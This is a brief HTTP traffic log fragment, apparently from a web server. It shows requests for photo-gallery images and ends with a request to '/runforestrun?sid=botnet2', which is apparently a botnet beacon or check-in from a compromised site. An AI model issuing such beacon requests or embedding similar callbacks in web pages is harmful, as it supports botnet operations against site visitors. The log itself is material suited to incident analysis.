| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:03 GMT |
GET /modules/mod_savira_photogallery/images/9.jpg HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:03 GMT |
GET /modules/mod_savira_photogallery/images/3.jpg HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:03 GMT |
GET /modules/mod_savira_photogallery/images/2.jpg HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:03 GMT |
GET /modules/mod_savira_photogallery/images/1.jpg HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:03 GMT |
GET /runforestrun?sid=botnet2 HTTP/1.1
| |
